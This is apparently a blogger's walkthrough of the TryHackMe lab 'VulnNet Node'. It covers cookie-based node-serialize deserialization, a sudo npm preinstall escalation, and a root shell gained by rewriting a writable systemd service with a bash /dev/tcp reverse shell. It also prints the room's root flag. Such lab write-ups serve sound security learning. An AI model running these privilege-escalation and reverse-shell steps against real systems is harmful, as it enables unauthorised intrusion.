I decided to run back at a THM room I signed up for a long time ago but didn’t complete at the time. Here’s VulnNet2 Node. It’s easy rated but it’s not that easy; it’s also quite ‘realistic’, which I appreciate.

Ports

8080 only; that’s a HTTP port running Node.js Express framework

Web

Visiting the site we get set a cookie:

session=eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D

This is base64 encoded, and decodes to:

{“username”:”Guest”,”isGuest”:true,”encoding”: “utf-8”}

If we modify the cookie (like deleting part of it), we can prompt some error messages - if we GET ‘/’. Note this doesn’t work if we GET /login:

SyntaxError: Unexpected end of JSON input
   at JSON.parse (<anonymous>)
   at Object.exports.unserialize (/home/www/VulnNet-Node/node_modules/node-serialize/lib/serialize.js:62:16)
   at /home/www/VulnNet-Node/server.js:16:24
   at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
   at next (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:137:13)
   at Route.dispatch (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:112:3)
   at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
   at /home/www/VulnNet-Node/node_modules/express/lib/router/index.js:281:22
   at Function.process_params (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:335:12)
   at next (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:275:10)

Doing some Googling brings us here and the ‘Further Exploitation’ section is the exact scenario set up in this box:

The vulnerability in the web application is that it reads a cookie named profile from the HTTP request, perform base64 decode of the cookie value and pass it to unserialize()function. As cookie is an untrusted input, an attacker can craft malicious cookie value to exploit this vulnerability.

We can use the provided code to get a shell:

┌──(root💀kali)-[/opt/thm/vulnet_node]
└─# nc -nvlp 1234  
listening on [any] 1234 ...
connect to [10.9.10.123] from (UNKNOWN) [10.10.181.160] 55900
Connected!
python3 -c 'import pty;pty.spawn("/bin/bash");'
www@vulnnet-node:~/VulnNet-Node$ sudo -l
sudo -l
Matching Defaults entries for www on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
    (serv-manage) NOPASSWD: /usr/bin/npm

serv-manage

We can use GTFOBins here:

www@vulnnet-node:~/VulnNet-Node$ cd /tmp
cd /tmp
www@vulnnet-node:/tmp$ TF=$(mktemp -d)
TF=$(mktemp -d)
www@vulnnet-node:/tmp$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
www@vulnnet-node:/tmp$ ls -lash
ls -lash
total 44K
4.0K drwxrwxrwt 10 root root 4.0K Sep 20 13:00 .
4.0K drwxr-xr-x 23 root root 4.0K Jan 24  2021 ..
4.0K drwxrwxrwt  2 root root 4.0K Sep 20 12:53 .font-unix
4.0K drwxrwxrwt  2 root root 4.0K Sep 20 12:53 .ICE-unix
4.0K drwx------  3 root root 4.0K Sep 20 12:54 systemd-private-2e351f5890d74d62afebb6bd83046e54-systemd-resolved.service-xig7F8
4.0K drwx------  3 root root 4.0K Sep 20 12:53 systemd-private-2e351f5890d74d62afebb6bd83046e54-systemd-timesyncd.service-7u2Fbv
4.0K drwxrwxrwt  2 root root 4.0K Sep 20 12:53 .Test-unix
4.0K drwx------  2 www  www  4.0K Sep 20 13:00 tmp.um8Xndifyt
4.0K -r--r--r--  1 root root   11 Sep 20 12:54 .X0-lock
4.0K drwxrwxrwt  2 root root 4.0K Sep 20 12:54 .X11-unix
4.0K drwxrwxrwt  2 root root 4.0K Sep 20 12:53 .XIM-unix
www@vulnnet-node:/tmp$ chmod 777 tmp.um8Xndifyt
chmod 777 tmp.um8Xndifyt
www@vulnnet-node:/tmp$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i
sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i

> @ preinstall /tmp/tmp.um8Xndifyt
> /bin/sh

$ python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
serv-manage@vulnnet-node:/tmp/tmp.um8Xndifyt$

Root

What can we do now? Some systemctl stuff. I’ll stop the timer, and then find where it’s saved:

serv-manage@vulnnet-node:~$ sudo -l
sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload
serv-manage@vulnnet-node:~$ sudo -u root /bin/systemctl stop vulnnet-auto.timer
sudo -u root /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:~$ locate vulnnet-auto.timer
locate vulnnet-auto.timer
/etc/systemd/system/vulnnet-auto.timer

When we have a look we can see that the timer calls a service, and we can write them both (the timer and the service):

4.0K -rw-rw-r--  1 root serv-manage  167 Jan 24  2021 vulnnet-auto.timer
4.0K -rw-rw-r--  1 root serv-manage  197 Jan 24  2021 vulnnet-job.service
serv-manage@vulnnet-node:/etc/systemd/system$ cat vulnnet-job.service
cat vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target
serv-manage@vulnnet-node:/etc/systemd/system$ cat vulnnet-auto.timer
cat vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target
serv-manage@vulnnet-node:/etc/systemd/system$

So, let’s do that. I overwrite the service file and restart the timer, with a new listener:

serv-manage@vulnnet-node:/etc/systemd/system$ !22
!22
cat vulnnet-job.service
[Unit]
Description=Whatever

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/10.9.10.123/1235 0>&1"

[Install]
WantedBy=multi-user.target
serv-manage@vulnnet-node:/etc/systemd/system$ sudo -l
sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload
serv-manage@vulnnet-node:/etc/systemd/system$ sudo -u root /bin/systemctl start vulnnet-auto.timer
vulnnet-auto.timersystemctl start v
serv-manage@vulnnet-node:/etc/systemd/system$

Separately:

┌──(root💀kali)-[/opt/thm/vulnet_node]
└─# nc -nvlp 1235  
listening on [any] 1235 ...
connect to [10.9.10.123] from (UNKNOWN) [10.10.181.160] 53514
bash: cannot set terminal process group (1044): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet-node:/# id;hostname;date
id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
vulnnet-node
Mon Sep 20 13:12:59 CEST 2021
root@vulnnet-node:/# cd /root
cd /root
root@vulnnet-node:~# ls -lash
ls -lash
total 100K
4.0K drwx------ 18 root root 4.0K Mar 21  2021 .
4.0K drwxr-xr-x 23 root root 4.0K Jan 24  2021 ..
   0 lrwxrwxrwx  1 root root    9 Jan 24  2021 .bash_history -> /dev/null
4.0K -rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
4.0K drwx------  6 root root 4.0K Mar 21  2021 .cache
4.0K drwx------ 12 root root 4.0K Mar 21  2021 .config
4.0K drwx------  3 root root 4.0K Mar 21  2021 .dbus
4.0K drwx------  2 root root 4.0K Mar 21  2021 Desktop
4.0K -rw-r--r--  1 root root   41 Mar 21  2021 .dmrc
4.0K drwxr-xr-x  2 root root 4.0K Mar 21  2021 Documents
4.0K drwxr-xr-x  3 root root 4.0K Mar 21  2021 Downloads
4.0K drwx------  3 root root 4.0K Mar 21  2021 .gnupg
4.0K drwxr-xr-x  3 root root 4.0K Jan 24  2021 .local
4.0K drwx------  5 root root 4.0K Mar 21  2021 .mozilla
4.0K drwxr-xr-x  2 root root 4.0K Mar 21  2021 Music
4.0K drwxr-xr-x  4 root root 4.0K Jan 24  2021 .npm
4.0K drwxr-xr-x  2 root root 4.0K Mar 21  2021 Pictures
4.0K drwxr-xr-x  5 root root 4.0K Jan 24  2021 .pm2
4.0K -rw-r--r--  1 root root  148 Aug 17  2015 .profile
4.0K drwxr-xr-x  2 root root 4.0K Mar 21  2021 Public
4.0K -rw-------  1 root root   38 Jan 24  2021 root.txt
4.0K drwxr-xr-x  2 root root 4.0K Mar 21  2021 Templates
4.0K drwxr-xr-x  2 root root 4.0K Mar 21  2021 Videos
4.0K -rw-------  1 root root   57 Mar 21  2021 .Xauthority
4.0K -rw-r--r--  1 root root   14 Feb 12  2018 .xscreensaver
4.0K -rw-------  1 root root 2.4K Mar 21  2021 .xsession-errors
root@vulnnet-node:~# cat root.txt
cat root.txt
THM{abea728f211b105a608a720a37adabf9}

Boom. I haven’t actually done a systemctl privesc with a timer before, although it’s pretty much the same as a service version.